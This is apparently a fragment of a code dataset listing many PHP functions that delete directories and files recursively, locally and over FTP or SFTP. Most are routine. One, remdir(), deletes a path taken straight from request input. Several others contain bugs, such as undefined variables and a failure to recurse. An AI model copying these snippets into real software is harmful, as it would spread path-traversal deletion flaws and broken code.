\"dir\") rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n }\n }\n reset($objects);\n rmdir($dir);\n}\n}", "function rrmdir($dir) {\n\tif (is_dir($dir)) {\n\t $objects = scandir($dir);\n\n\t //debug($objects);\n\n\t foreach ($objects as $object) {\n\t\tif ($object != \".\" && $object != \"..\") {\n\t\t\t//echo $dir.\"/\".$object . '<br>';\n\n\t\t if (filetype($dir.\"/\".$object) == \"dir\") rmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n\t\t}\n\t }\n\t reset($objects);\n\t rmdir($dir);\n\t}\n }", "function rrmdir($dir) {\n if (is_dir($dir)) { \n $objects = scandir($dir); \n foreach ($objects as $object) { \n if ($object != \".\" && $object != \"..\") { \n if (filetype($dir.\"/\".$object) == \"dir\") rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object); \n } \n } \n reset($objects);\n rmdir($dir); \n } \n }", "function rrmdir($dir) {\r\n\tif (is_dir($dir)) {\r\n\t\t$objects = scandir($dir);\r\n\t\tforeach ($objects as $object) {\r\n\t\t\tif ($object != \".\" && $object != \"..\") {\r\n\t\t\t\tif (filetype($dir.\"/\".$object) == \"dir\") rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\r\n\t\t\t}\r\n\t\t}\r\n\t\treset($objects);\r\n\t\treturn rmdir($dir);\r\n\t}\r\n}", "function gttn_tpps_rmdir($dir) {\n if (is_dir($dir)) {\n $children = scandir($dir);\n foreach ($children as $child) {\n if ($child != '.' and $child != '..') {\n if (is_dir($dir . '/' . $child) and !is_link($dir . '/' . $child)) {\n gttn_tpps_rmdir($dir . '/' . $child);\n }\n else {\n unlink($dir . '/' . $child);\n }\n }\n }\n rmdir($dir);\n }\n}", "function fud_rmdir($dir, $deleteRootToo=false)\n{\n\tif(!$dh = @opendir($dir)) {\n\t\treturn;\n\t}\n\twhile (false !== ($obj = readdir($dh))) {\n\t\tif($obj == '.' || $obj == '..') {\n\t\t\tcontinue;\n\t\t}\n\t\tif (!@unlink($dir .'/'. $obj)) {\n\t\t\tfud_rmdir($dir .'/'. $obj, true);\n\t\t}\n\t}\n\tclosedir($dh);\n\tif ($deleteRootToo) {\n\t\t@rmdir($dir);\n\t}\n\treturn;\n}", "function rrmdir($path) {\n\t$files = glob($path . '/*');\n\tforeach ($files as $file) {\n\t\tis_dir($file) ? rrmdir($file) : unlink($file);\n\t}\n\trmdir($path);\n\treturn;\n}", "public function delete_with_dir() {\n if(!empty($this->username && $this->id)) {\n if($this->delete()) {\n $target = SITE_PATH . DS . 'admin' . DS . $this->image_path . DS . $this->username;\n if(is_dir($target)){\n $this->delete_files_in_dir($target);\n return rmdir($target) ? true : false;\n echo \"yes\";\n }\n }else{\n return true;\n }\n }else{\n return false;\n }\n }", "public function rrmdir($dir) {\n\n \tforeach(glob($dir . '/*') as $file) {\n\n \t\tif(is_dir($file))\n\n \t\t\t$this->rrmdir($file);\n\n \t\telse\n\n \t\t\tunlink($file);\n\n \t}\n\n \trmdir($dir);\n\n }", "public function delete($remoteFile) {\r\n if (!ftp_delete($this->connessione, $remoteFile)) {\r\n echo '<p class=\"error\">IMPOSSIBILE CANCELLARE IL FILE REMOTO: ' . $remoteFile . '</p>';\r\n }\r\n }", "function rmdir_r($dir)\n{\n\tif(is_dir($dir)) {\n\t\t$objs = scandir($dir);\n\t\tforeach($objs as $o) {\n\t\t\tif($o != '.' && $o != '..') {\n\t\t\t\tif(is_dir($dir.'/'.$o)) {\n\t\t\t\t\trmdir_r($dir.'/'.$o);\n\t\t\t\t} else unlink($dir.'/'.$o);\n\t\t\t}\n\t\t}\n\t\treset($objs);\n\t\treturn rmdir($dir);\n\t}\n}", "function rrmdir($dir)\n{\n ini_set('max_execution_time', 0);\n set_time_limit(0);\n if (is_dir($dir)) {\n $files = scandir($dir);\n foreach ($files as $file) {\n if ($file != \".\" && $file != \"..\") {\n rrmdir(\"$dir/$file\");\n }\n }\n rmdir($dir);\n } elseif (file_exists($dir)) {\n unlink($dir);\n }\n return true;\n}", "function fn_rm_by_ftp($target, array $ftp_access)\n{\n try {\n $ftp = new Ftp;\n\n $ftp->connect($ftp_access['hostname']);\n $ftp->login($ftp_access['username'], $ftp_access['password']);\n $ftp->chdir($ftp_access['directory']);\n\n $files = $ftp->nlist('');\n if (!empty($files) && in_array('config.php', $files)) {\n $ftp_target = str_replace(\n Registry::get('config.dir.root'),\n '',\n $target\n );\n\n $ftp_target = ltrim($ftp_target, '/');\n\n $ftp->deleteRecursive($ftp_target);\n\n return true;\n }\n\n return false;\n } catch (FtpException $e) {\n }\n\n return false;\n}", "function rrmdir($dir) {\n if (!file_exists($dir))\n return;\n if (!is_dir($dir)) {\n unlink($dir);\n return;\n }\n $files = array_diff(scandir($dir), array('.','..'));\n foreach ($files as $file) {\n $path = \"$dir/$file\";\n (is_dir($path) && !is_link($path)) ? rrmdir($path) : unlink($path);\n }\n return rmdir($dir);\n}", "function ftp_rm_recurse($ftp, $dir)\n{\n\t$bad_files = array();\n\tforeach (ftp_rawlist($ftp, $dir) as $file) {\n\t\t$info = preg_split(\"/\\s+/\", $file, 9);\n\t\t//see ftp_file_info() for breakdown of array\n\t\tif($info[0][0] === 'd') {\n\t\t\t//directory, recurse\n\t\t\tif(ftp_rm_recurse($ftp, $dir.'/'.trim($info[8])) !== true) array_push($bad_files, $dir);\n\t\t} elseif($info[0][0] === 'l') {\n\t\t\t//link, parse [8] more\n\t\t\t$link_split = explode('->', $info[8]);\n\t\t\tif(ftp_delete($ftp, $dir.'/'.trim($link_split[0])) !== true) array_push($bad_files, $dir);\n\t\t} else {\n\t\t\t//normal file\n\t\t\tif(!ftp_delete($ftp, $dir.'/'.trim($info[8]))) array_push($bad_files, $dir);\n\t\t}\n\t}\n\tif(!ftp_rmdir($ftp, $dir)) array_push($bad_files, $dir);\n\tif(empty($bad_files))\n\t\treturn true;\n\treturn $bad_files;\n}", "function rrmdir($dir)\n{\n\tif (is_dir($dir))\n\t{\n\t\t$objects = scandir($dir);\n\t\tforeach ($objects as $object)\n\t\t{\n\t\t\tif ($object != \".\" && $object != \"..\")\n\t\t\t{\n\t\t\t\tif (filetype($dir.\"/\".$object) == \"dir\")\n\t\t\t\t$this->rrmdir($dir.\"/\".$object); \n\t\t\t\telse unlink($dir.\"/\".$object);\n\t\t\t}\n\t\t}\n\t\treset($objects);\n\t\trmdir($dir);\n\t}\n}", "function rrmdir($dir) {\n if (is_dir($dir)) {\n $objects = scandir($dir);\n foreach ($objects as $object) {\n if ($object != \".\" && $object != \"..\") {\n if (filetype($dir.\"/\".$object) == \"dir\") rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n }\n }\n reset($objects);\n rmdir($dir);\n }\n }", "protected function _deleteFtpFiles()\n {\n if (is_callable('ftp_connect')) {\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n try {\n $connId = ftp_connect($ftpServer);\n\n $loginResult = ftp_login($connId, $ftpUserName, $ftpPass);\n if (!$loginResult) {\n return false;\n }\n ftp_pasv($connId, true);\n\n $ftpDir = $ftpPath?$ftpPath:'.';\n $nlist = ftp_nlist($connId, $ftpDir);\n if ($nlist === false) {\n return false;\n }\n foreach ($nlist as $file) {\n if (!preg_match('/\\.[xX][mM][lL]$/', $file)) {\n ftp_delete($connId, $file);\n }\n }\n\n ftp_close($connId);\n } catch (Exception $e) {\n Mage::log($e->getMessage());\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "function FTPdelete($file,$path,$parent=''){\n}", "public function rmdir($options) {\n // We need to check that the 'directory' is empty before we can unlink it.\n // As we create a new instance of a CloudStorageDirectoryClient when\n // performing a rmdir(), all we need to check is that a readdir() returns\n // any value to know that the directory is not empty.\n if ($this->dir_readdir() !== false) {\n trigger_error('The directory is not empty.', E_USER_WARNING);\n return false;\n }\n\n $headers = $this->getOAuthTokenHeader(parent::WRITE_SCOPE);\n if ($headers === false) {\n if ($report_errors) {\n trigger_error(\"Unable to acquire OAuth token.\", E_USER_WARNING);\n }\n return false;\n }\n\n $url = $this->createObjectUrl($this->bucket_name, $this->object_name);\n $http_response = $this->makeHttpRequest($url, \"DELETE\", $headers);\n\n if (false === $http_response) {\n trigger_error(\"Unable to connect to Google Cloud Storage Service.\",\n E_USER_WARNING);\n return false;\n }\n\n if (HttpResponse::NO_CONTENT == $http_response['status_code']) {\n return true;\n } else {\n trigger_error($this->getErrorMessage($http_response['status_code'],\n $http_response['body']),\n E_USER_WARNING);\n return false;\n }\n }", "function remdir()\r\n {\r\n if(is_writable($_REQUEST['file']))\r\n {\r\n $dir=$_GET['file'];\r\n $this->deleteDirectory($dir); \r\n }\r\n else{echo \"Permission Denied !\";}\r\n }", "function rrmdir($dir)\n {\n if (is_dir($dir)) {\n $files = scandir($dir);\n foreach ($files as $file) {\n if (filetype($dir . \"/\" . $file) == \"dir\") {\n rrmdir($dir . \"/\" . $file);\n } else {\n unlink($dir . \"/\" . $file);\n }\n }\n rmdir($dir);\n }\n }", "public static function deleteDirectory ($path) {\n\t\t\\rmdir($path);\n\t}", "function wpdev_rm_dir($dir) {\r\n\r\n if (DIRECTORY_SEPARATOR == '/')\r\n $dir=str_replace('\\\\','/',$dir);\r\n else\r\n $dir=str_replace('/','\\\\',$dir);\r\n\r\n $files = glob( $dir . '*', GLOB_MARK );\r\n debuge($files);\r\n foreach( $files as $file ){\r\n if( is_dir( $file ) )\r\n $this->wpdev_rm_dir( $file );\r\n else\r\n unlink( $file );\r\n }\r\n rmdir( $dir );\r\n }", "function ppRmdir($dirname)\n{\n // Sanity check\n if (!file_exists($dirname)) {\n return false;\n }\n \n // Simple delete for a file\n if (is_file($dirname)) {\n return unlink($dirname);\n }\n\n // Loop through the folder\n $dir = dir($dirname);\n while (false !== $entry = $dir->read()) {\n // Skip pointers\n if ($entry == '.' || $entry == '..') {\n continue;\n }\n\n // Recurse\n ppRmdir(\"$dirname/$entry\");\n }\n\n // Clean up\n $dir->close();\n return rmdir($dirname);\n}", "private function deleteLdapServer() {\n global $xmlConfig;\n $xpath = \"//services/ldapserver\";\n\t\t$object = $xmlConfig->get($xpath);\n //stop the openldap service while we clear the ldap directory\n $cmd = \"service slapd stop\";\n if (0 !== $this->exec($cmd, $output)) {\n throw new OMVException(OMVErrorMsg::E_EXEC_FAILED,\n $cmd, implode(\"\\n\", $output));\n }\n \n //now we clear the ldap directory\n $ldapDir=\"/var/lib/ldap\";\n $ldapConf=\"/etc/ldap/slapd.d\";\n $delCmd=\"rm -rf $ldapDir/* $ldapConf/cn=config $ldapConf/cn=config.ldif\";\n if (0 !== $this->exec($delCmd, $output)) {\n throw new OMVException(OMVErrorMsg::E_EXEC_FAILED,\n $delCmd, implode(\"\\n\", $output));\n }\n }", "public function rrmdir($path) {\n try {\n $i = new DirectoryIterator($path);\n foreach ($i as $f) {\n if ($f->isFile()) {\n unlink($f->getRealPath());\n } else if (!$f->isDot() && $f->isDir()) {\n $this->rrmdir($f->getRealPath());\n }\n }\n rmdir($path);\n } catch(\\Exception $e ){}\n }", "public function test_mkdir_and_rmdir() {\n /**\n * Test creating a single directory\n */\n $dir = 'dir1';\n $uri = 'test://'.$dir;\n $path = $this->test_dir.'/'.$dir;\n\n mkdir($uri);\n $this->assertFileExists($path);\n rmdir($uri);\n $this->assertFileNotExists($path);\n\n /**\n * Test creating multiple directories recursively as needed\n */\n $dir = 'dir2/dir3/dir4';\n $uri = 'test://' . $dir;\n $path = $this->test_dir.'/'.$dir;\n\n mkdir($uri, 0777, true);\n\n $error_tripped = false;\n $this->assertFileExists($path);\n try {\n $return = rmdir('test://dir2');\n }\n catch (PHPUnit_Framework_Error $e) {\n $error_tripped = true;\n }\n\n $this->assertTrue($error_tripped, \"rmdir() on a non-empty directory should trigger an error.\");\n $this->assertTrue(wp_rmdir_recursive('test://dir2'));\n $this->assertFileNotExists($this->test_dir.'/dir2');\n }", "function rm($path, $recursive = false, $filesonly = false) {\r\n\t\t$path = $this->_constructPath($path);\r\n\t\tif ( $this->_checkRemoteDir($path) === true ) {\r\n\t\t\tif ( $recursive ) {\r\n\t\t\t\treturn $this->_rmDirRecursive($path, $filesonly);\r\n\t\t\t} else {\r\n\t\t\t\treturn $this->_rmDir($path);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\treturn $this->_rmFile($path);\r\n\t\t}\r\n\t}", "function rrmdir($path) {\n // Open the source directory to read in files\n $i = new DirectoryIterator($path);\n foreach($i as $f) {\n if($f->isFile()) {\n unlink($f->getRealPath());\n } else if(!$f->isDot() && $f->isDir()) {\n rrmdir($f->getRealPath());\n }\n }\n rmdir($path);\n}", "public static function rmdir($dir) {\r\n\tif (is_dir($dir)) {\r\n\t $objects = scandir($dir);\r\n\t foreach ($objects as $object) {\r\n\t\tif ($object != '.' && $object != '..') {\r\n\t\t if (filetype($dir . '/' . $object) == 'dir')\r\n\t\t\tself::rmdir($dir . '/' . $object); else\r\n\t\t\tunlink($dir . '/' . $object);\r\n\t\t}\r\n\t }\r\n\t reset($objects);\r\n\t return rmdir($dir);\r\n\t}\r\n }", "private function rrmdir($path) {\n\t\tforeach(glob($path . '/*') as $file) {\n\t\t\tif(is_dir($file))\n\t\t\t\t$this->rrmdir($file);\n\t\t\telse\n\t\t\t\tunlink($file);\n\t\t}\n\t\trmdir($path);\n\t}", "public function remove_files() {\n\t\t$rm = escapeshellarg( self::RM );\n\t\t$files = escapeshellarg( $this->tmp_dir );\n\n\t\t$this->exec_with_notify( escapeshellcmd( \"{$rm} -rf {$files}\" ) );\n\t}", "function rrmdir($src) {\n $dir = opendir($src);\n while(false !== ( $file = readdir($dir)) ) {\n if (( $file != '.' ) && ( $file != '..' )) {\n\n $full = $src . '/' . $file;\n if ( is_dir($full) ) {\n rrmdir($full);\n }\n else {\n unlink($full);\n }\n }\n }\n closedir($dir);\n rmdir($src);\n}", "function rmdirRecursive( $dir )\n {\n if ( !is_writable( $dir ) )\n {\n if ( !@chmod( $dir, 0777 ) )\n {\n return FALSE;\n }\n }\n\n $d = dir( $dir );\n while ( FALSE !== ( $entry = $d->read() ) )\n {\n if ( $entry == '.' || $entry == '..' )\n {\n continue;\n }\n $entry = $dir . '/' . $entry;\n if ( is_dir( $entry ) )\n {\n if ( !atkFileUtils::rmdirRecursive( $entry ) )\n {\n return FALSE;\n }\n continue;\n }\n if ( !@unlink( $entry ) )\n {\n $d->close();\n return FALSE;\n }\n }\n\n $d->close();\n\n rmdir( $dir );\n\n return TRUE;\n }", "public function ftp_moveAll($src_dir, $dst_dir) {\n if (!(@$this->rmdir($directory) || @$this->delete($directory))) {\n # if the attempt to delete fails, get the file listing\n $filelist = @$this->listFiles($directory);\n\n # loop through the file list and recursively delete the FILE in the list\n foreach ($filelist as $file) {\n $this->recursiveDelete($file);\n }\n\n #if the file list is empty, delete the DIRECTORY we passed\n $this->recursiveDelete($directory);\n }\n }", "public static function rrmdir($dir) {\n if (is_dir($dir)) {\n self::cleandir($dir);\n rmdir($dir);\n }\n }", "public function delete()\n {\n $filesystem = $this->localFilesystem(dirname($this->path));\n\n method_exists($filesystem, 'deleteDir')\n ? $filesystem->deleteDir(basename($this->path))\n : $filesystem->deleteDirectory(basename($this->path));\n }", "function delete($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_delete($this->_socket, $pathname);\r\n \t} else {\r\n \t $this->putcmd(\"DELE\", $pathname);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function removeFTPDirectory($connection, $directory){\n\t\t\t//return value\n\t\t\t$directory_removed = false;\n\t\t\t\n\t\t\t//get a list of elements in the directory\n\t\t\t$directory_elements = ftp_nlist($connection, $directory);\n\n\t\t\t//parse directory elements\n\t\t\tforeach($directory_elements as $element){\n\t\t\t\t//filter names out of the path\n\t\t\t\t$element_components = explode('/', $element);\n\t\t\t\t$file_extention_check = explode('.', $element_components[(count($element_components) - 1)]);\n\n\t\t\t\tif(count($file_extention_check) > 1){//if the item has an extention it is a file delete it\n\t\t\t\t\tftp_delete($connection, $element);\n\t\t\t\t}else{//if the item has no extention it is a directory pass it back into the function\n\t\t\t\t\tremoveFTPDirectory($connection, $element);\n\t\t\t\t\t//remove the now empty directory itself\n\t\t\t\t\tftp_rmdir($connection, $element);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$directory_removed = ftp_rmdir($connection, $directory);\n\t\t\t\n\t\t\treturn $directory_removed;\n\t\t}", "static function rmfdir($dir) {\r\n\t\tif (is_dir($dir)) {\r\n\t\t\t$objects = scandir($dir);\r\n\t\t\tforeach ($objects as $object) {\r\n\t\t\t\tif ($object != '.' && $object != '..') {\r\n\t\t\t\t\tif (filetype($dir.DIRECTORY_SEPARATOR.$object) == 'dir') self::rmfdir($dir.DIRECTORY_SEPARATOR.$object); else unlink($dir.DIRECTORY_SEPARATOR.$object);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treset($objects);\r\n\t\t\trmdir($dir);\r\n\t\t}\r\n\t}", "public static function rmdir($path)\n {\n $result = @rmdir($path);\n if (! $result) {\n $info = error_get_last();\n throw new Exception($info);\n } else {\n return true;\n }\n }", "function recursive_rmdir($dir) {\n $handle = opendir($dir);\n while ($file = readdir($handle)) {\n if (is_file(\"$dir/$file\")) {\n unlink(\"$dir/$file\");\n } elseif (is_dir(\"$dir/$file\") && $file != '.' && $file != '..') {\n recursive_rmdir(\"$dir/$file\");\n }\n }\n closedir($handle);\n return rmdir($dir);\n}", "public static function rmdirRecursive($dir)\n {\n $fs = new \\Composer\\Util\\Filesystem();\n if(is_dir($dir)){\n $result = $fs->removeDirectory($dir);\n }else{\n @unlink($dir);\n }\n \n return;\n }", "public function deleteDirPhoto() {\n if(is_file($this->getLinkplan())){\n unlink($this->getLinkplan());\n }\n return (rmdir($this->dirPhoto));\n }", "private function rrmdir($dir) {\n\t\tif (is_dir($dir)) {\n\t\t\t$objects = scandir($dir);\n\t\t\tforeach ($objects as $object) {\n\t\t\t\tif ($object != \".\" && $object != \"..\") {\n\t\t\t\t\tif (filetype($dir.\"/\".$object) == \"dir\") self::rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n\t\t\t\t}\n\t\t\t}\n\t\t\treset($objects);\n\t\t\trmdir($dir);\n\t\t}\n\t}", "public static function rmdir( $dir ) {\n\t\t\tif ( is_dir( $dir ) ) {\n\t\t\t\t$objects = scandir( $dir );\n\t\t\t\tforeach ( $objects as $object ) {\n\t\t\t\t\tif ( '.' !== $object && '..' !== $object ) {\n\t\t\t\t\t\tif ( filetype( $dir . '/' . $object ) === 'dir' ) {\n\t\t\t\t\t\t\trmdir( $dir . '/' . $object );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tunlink( $dir . '/' . $object );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treset( $objects );\n\t\t\t\trmdir( $dir );\n\t\t\t}\n\t\t}", "function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "function rrmdir($dir) {\n if (is_dir($dir)) {\n $objects = scandir($dir);\n foreach ($objects as $object) {\n if ($object != \".\" && $object != \"..\") {\n if (filetype($dir.\"/\".$object) == \"dir\") $this->rrmdir($dir.\"/\".$object); else unlink($dir.\"/\".$object);\n }\n }\n reset($objects);\n rmdir($dir);\n }\n return true;\n }", "function rmdir_recursive($path, $suicide = TRUE)\r\n\t{\r\n\t\tstatic $self;\r\n\t\tisset($self) OR $self = $path;\r\n\r\n\t\t$result = FALSE;\r\n\t\t$iterator = new DirectoryIterator($path);\r\n\r\n\t\t// Recurse into the path\r\n\t\tforeach ($iterator as $item)\r\n\t\t{\r\n\t\t\t// Remove if it's a file\r\n\t\t\t$item->isFile() AND unlink($item->getRealPath());\r\n\r\n\t\t\t// Go deep Chandler, go!\r\n\t\t\tif ( ! $item->isDot() AND $item->isDir())\r\n\t\t\t{\r\n\t\t\t\trmdir_recursive($item->getRealPath());\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t// Remove child dirs. Source dir (initial $path) will\r\n\t\t// be removed only if it's a suicidal function call!\r\n\t\tif ($suicide OR realpath($self) != realpath($path))\r\n\t\t{\r\n\t\t\trmdir($path);\r\n\t\t}\r\n\t}", "public static function delete_directory() {\n\n\t \t$dirname = ABSPATH . trailingslashit( get_option('upload_path') ) . 'zip_downloads';\n\t\n\t if ( is_dir( $dirname ) )\n\t \t$dir_handle = opendir( $dirname ); \n\t\n\t if ( !$dir_handle )\n\t\t\treturn false;\n\t\n\t while( $file = readdir( $dir_handle ) ) {\n\t\n\t \tif ( $file != \".\" && $file != \"..\" ) {\n\t \tif ( !is_dir( $dirname . \"/\" . $file ) ) \n\t \t\tunlink( $dirname . \"/\" . $file ); \n\t \t} \n\t } \n\t\n\t closedir( $dir_handle );\n\t rmdir( $dirname ); \n\t return true; \n \t}", "public function rm($server_file)\n\t{\n\t\tif (is_resource($this->_sftp) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t$server_file = (substr($server_file, 0, 1) != '/') ? ('/'.$server_file) : ($server_file);\n\t\tif (file_exists('ssh2.sftp://'.$this->_sftp.$server_file) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tif (is_file('ssh2.sftp://'.$this->_sftp.$server_file))\n\t\t{\n\t\t\treturn unlink('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn rmdir('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t}", "public function remove_dir() {\n\n $path = $this->get_upload_pres_path();\n\n //append_debug_msg($path);\n\n if(!$path || !file_exists($path)){ return; }\n delete_dir($path);\n }", "function clear_local($dir){\n \n$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);\n$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);\nforeach ( $ri as $file ) {\n $file->isDir() ? rmdir($file) : unlink($file);\n}\n\n\n\n}", "private function rrmdir($path) {\n \n $files = glob($path.'/*');\n \n\t if (empty($files))\n return null;\n\n return is_file($path) ? @unlink($path) : array_map(array($this, 'rrmdir'), $files);\n }", "function rmrf($dir) {\n\t\tforeach (glob($dir) as $file)\n\t\t\tif (is_dir($file)) {\n\t\t\t\trmrf(\"$file/*\");\n\t\t\t\trmdir($file);\n\t\t\t} else\n\t\t\t\tunlink($file);\n\t}", "private function _rrmdir($dir)\n {\n if (!file_exists($dir)) {\n return;\n }\n if (is_dir($dir)) {\n $objects = scandir($dir);\n }\n\n foreach ($objects as $object) {\n if ($object != '.' && $object != '..') {\n if (filetype($dir.'/'.$object) == 'dir') {\n $this->_rrmdir($dir.'/'.$object);\n } else {\n unlink($dir.'/'.$object);\n }\n }\n }\n reset($objects);\n rmdir($dir);\n }", "function rmdir_recursive($dir) {\n\n\t\t$basicPath = ROOT.DS.\"app\".DS.\"webroot\".DS.\"contents\".DS;\n\t\tif(is_dir($basicPath.$dir)){\n\t\t$files = scandir($basicPath.$dir);\n\t\tarray_shift($files); // remove '.' from array\n\t\tarray_shift($files); // remove '..' from array\n\n\t\tforeach ($files as $file) {\n\t\t$file = $basicPath.$dir .DS. $file;\n\t\tif (is_dir($file)) {\n\t\trmdir_recursive($file);\n\t\trmdir($file);\n\t\t} else {\n\n\t\tunlink($file);\n\t\t }\n\t\t}\n\t\trmdir($basicPath.$dir);\n\t\t}\n\t}", "public static function rRMDir($dir) {\n\n\t\tif(!trim($dir)) Throw new Exception('Cant delete directory. Directory path was empty! 1298041824');\n\t\tif(!is_dir($dir)) Throw new Exception('Cant delete directory. Directory '.$dir.' not foud! 1298041904');\n\n\t\tif (is_dir($dir)) {\n\t\t\t$objects = scandir($dir);\n\n\t\t\tif($counter > 4) die();\n\t\t\tforeach ($objects as $object) {\n\t\t\t\tif ($object != \".\" && $object != \"..\") {\n\t\t\t\t\t\n\t\t\t\t\tif (filetype($dir.\"/\".$object) == \"dir\") {\n\t\t\t\t\t\tself::rRMDir($dir.\"/\".$object);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tunlink($dir.\"/\".$object);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treset($objects);\n\t\t\trmdir($dir);\n\t\t}\n\t}", "function rmdirRecursive($path,$followLinks=false) { \n\t\t$dir = opendir($path) ;\n\t\twhile ($entry = readdir($dir)) { \n\t\t\tif (is_file(\"$path/$entry\") || ((!$followLinks) && is_link(\"$path/$entry\"))) {\n\t\t\t\t@unlink( \"$path/$entry\" );\n\t \t}\n\t \telseif (is_dir(\"$path/$entry\") && $entry!='.' && $entry!='..') {\n\t\t\t\trmdirRecursive(\"$path/$entry\"); // recursive\n\t\t\t}\n\t\t}\n\t\tclosedir($dir);\n\t\treturn @rmdir($path);\n\t}", "function rmdirr($dirname){ \r\n\t// Simple delete for a file \r\n\tif (is_file($dirname)) \r\n\t{ \r\n\t\treturn unlink($dirname); \r\n\t} \r\n\t// Loop through the folder \r\n\t$dir = dir($dirname); \r\n\twhile (false !== $entry = $dir->read()) { \r\n\t\t// Skip pointers \r\n\t\tif ($entry == '.' || $entry == '..') \r\n\t\t{ continue; } \r\n\t\t// Deep delete directories \r\n\t\tif (is_dir(\"$dirname/$entry\")) { \r\n\t\t\trmdirr(\"$dirname/$entry\"); \r\n\t\t} else { \r\n\t\t\tunlink(\"$dirname/$entry\"); \r\n\t\t} \r\n\t} \r\n\t// Clean up \r\n\t$dir->close(); \r\n\treturn rmdir($dirname);\r\n}", "public function rmdirR($dir)\n {\n $finder = $this->finder->create();\n $files = $finder->notRecursive()->find($dir);\n foreach ($files as $file) {\n if (! $file->isExists()) continue;\n\n if ($file->isDir()) {\n $this->rmdirR(\"{$file}/*\");\n if ($file->isWritable()) {\n rmdir($file);\n } else {\n throw new Exception(\"Can not delete this directory. -> {$file}\");\n }\n } else {\n if ($file->isWritable()) {\n unlink($file);\n } else {\n throw new Exception(\"Can not delete this file. -> {$file}\");\n }\n }\n }\n }", "public function wp_clean_ftp_migration(){\n\n\t\t@unlink($this->_file_destination);\n\t\t@unlink($this->_file_sql);\n\t\t@unlink($this->_file_log_ftp);\n\n\t\treturn TRUE;\n\t}", "public function removeAction() {\n $result = array('status' => 'failed');\n if ($this->getRequest()->isPost() && $this->getRequest()->getPost('remove') == 'true') {\n $dirName = Mage::getBaseDir('code').'/local/Balticode/Postoffice';\n if (is_dir($dirName) && file_exists($dirName.'/etc/config.xml')) {\n $directory = new Varien_Io_File();\n $deleteResult = $directory->rmdir($dirName, true);\n if ($deleteResult) {\n $result['status'] = 'success';\n }\n }\n \n }\n $this->getResponse()->setRawHeader('Content-type: application/json');\n $this->getResponse()->setBody(json_encode($result));\n return;\n }", "function eliminarDirectorio($directorio){\n foreach(glob($directorio . \"/*\") as $archivos_carpeta){\n if (is_dir($archivos_carpeta)){\n eliminarDirectorio($archivos_carpeta);\n }\n else{\n unlink($archivos_carpeta);\n }\n }\n rmdir($directorio);\n}", "function rmdir_recursive($path, $follow_links=false) {\n\t$to_do = glob($path);\n\tif (!is_array($to_do)) {\n\t\t$to_do = array($to_do);\n\t}\n\tforeach ($to_do as $workingdir) { // Handle wildcards by foreaching.\n\t\tif (file_exists($workingdir)) {\n\t\t\tif (is_dir($workingdir)) {\n\t\t\t\t$dir = opendir($workingdir);\n\t\t\t\twhile ($entry = readdir($dir)) 